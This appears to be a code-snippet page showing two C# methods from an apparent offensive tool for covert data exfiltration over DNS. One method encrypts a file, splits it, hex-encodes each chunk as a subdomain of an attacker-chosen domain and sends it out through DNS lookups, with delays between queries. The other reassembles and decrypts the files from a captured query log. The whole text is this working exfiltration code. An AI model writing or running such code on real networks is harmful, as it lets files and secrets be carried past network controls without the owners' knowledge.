Beispiel #1
0
        public override bool Run()
        {
            if (!File.Exists)
            {
                return(false);
            }
            if (!OutFolder.Exists)
            {
                return(false);
            }

            AESHelper aes = null;

            if (AESHelper.IsConfigured(this))
            {
                aes = new AESHelper(this);
                WriteInfo("Using AES Encryption");
            }
            else
            {
                WriteError("Read in RawMode");
            }

            WriteInfo("Start reading file ...");
            Dictionary <string, List <packet> > dic = new Dictionary <string, List <packet> >();

            using (Stream fs = (Stream)File.OpenRead())
                using (StreamReader sr = new StreamReader(fs))
                {
                    string line;
                    while ((line = sr.ReadLine()) != null)
                    {
                        string fileId;
                        packet packet;

                        if (!parse(line, out fileId, out packet))
                        {
                            continue;
                        }

                        if (dic.ContainsKey(fileId))
                        {
                            dic[fileId].Add(packet);
                        }
                        else
                        {
                            List <packet> pc = new List <packet>();
                            pc.Add(packet);
                            dic.Add(fileId, pc);
                        }
                    }
                }

            WriteInfo("Located " + dic.Keys.Count.ToString() + (dic.Keys.Count == 1 ? " file" : " files"));
            if (dic.Keys.Count > 0)
            {
                WriteInfo("Reordering packets ...");

                foreach (string k in dic.Keys)
                {
                    List <packet> p = dic[k];
                    p.Sort(sortPacket);
                }

                WriteInfo("Dump files ...");

                foreach (string k in dic.Keys)
                {
                    List <packet> lp   = dic[k];
                    string        path = OutFolder + System.IO.Path.DirectorySeparatorChar.ToString() + k + ".dat";

                    using (MemoryStream ms = new MemoryStream())
                    {
                        foreach (packet p in lp)
                        {
                            ms.Write(p.Data, 0, p.Data.Length);
                        }

                        if (aes != null)
                        {
                            byte[] d = aes.Decrypt(ms.ToArray());
                            if (d == null)
                            {
                                WriteError("Error in decrypt process");
                                continue;
                            }
                            System.IO.File.WriteAllBytes(path, d);
                        }
                        else
                        {
                            System.IO.File.WriteAllBytes(path, ms.ToArray());
                        }

                        WriteInfo("Created file '" + path + "'", new FileInfo(path).Length.ToString(), ConsoleColor.Green);
                    }
                }
            }
            return(true);
        }
        public override bool Run()
        {
            if (!File.Exists)
            {
                return(false);
            }

            DnsClient dns  = DnsServer == null ? DnsClient.Default : new DnsClient(DnsServer, 10000);
            bool      ipv6 = dns.Servers[0].AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6;

            // Get counter
            byte[] g;
            switch (Convert.ToInt32(Target["Size"]))
            {
            case 8: { g = BitConverterHelper.GetBytesInt64(CounterHelper.GetNextInt64()); break; }

            case 4: { g = BitConverterHelper.GetBytesUInt32(CounterHelper.GetNextUInt32()); break; }

            case 2: { g = BitConverterHelper.GetBytesUInt16(CounterHelper.GetNextUInt16()); break; }

            case 1: { g = new byte[] { CounterHelper.GetNextByte() }; break; }

            default: { g = BitConverterHelper.GetBytesInt64(DateTime.UtcNow.ToBinary()); break; }
            }

            // Copy file id
            int headerLength = g.Length + 4; // packetNum

            byte[] data = new byte[63 / 2];  // hex 2 bytes per byte
            Array.Copy(g, data, g.Length);

            AESHelper aes = null;

            if (AESHelper.IsConfigured(this))
            {
                aes = new AESHelper(this);
                WriteInfo("Using AES Encryption");
            }
            else
            {
                WriteError("Send in RawMode");
            }

            WriteInfo("Start sending file ...");

            byte[] crypted = null;

            if (aes != null)
            {
                using (Stream fs = File.OpenRead())
                    crypted = aes.Encrypt(fs, false, null);
            }

            int position = 0;

            using (Stream fs = (crypted == null ? (Stream)File.OpenRead() : (Stream) new MemoryStream(crypted)))
            {
                int total = (int)(fs.Length / (data.Length - headerLength));
                if (fs.Length % (data.Length - headerLength) != 0)
                {
                    total++;
                }
                WriteInfo("Sending " + (total) + " dns querys ...");

                StartProgress(total);

                while (true)
                {
                    // copy counter
                    byte[] p = BitConverterHelper.GetBytesInt32(position);
                    position++;

                    Array.Copy(p, 0, data, headerLength - 4, 4);

                    // read
                    int lee = fs.Read(data, headerLength, data.Length - headerLength);
                    if (lee <= 0)
                    {
                        break;
                    }

                    // generateFile
                    string name = HexHelper.Buffer2Hex(data, 0, headerLength + lee) + "." + DomainName;

                    dns.Resolve(name, ipv6 ? RecordType.Aaaa : RecordType.A);
                    if (Sleep > 0)
                    {
                        Thread.Sleep(Sleep);
                    }

                    WriteProgress(position);
                }

                EndProgress();
            }

            WriteInfo("Done");

            return(true);
        }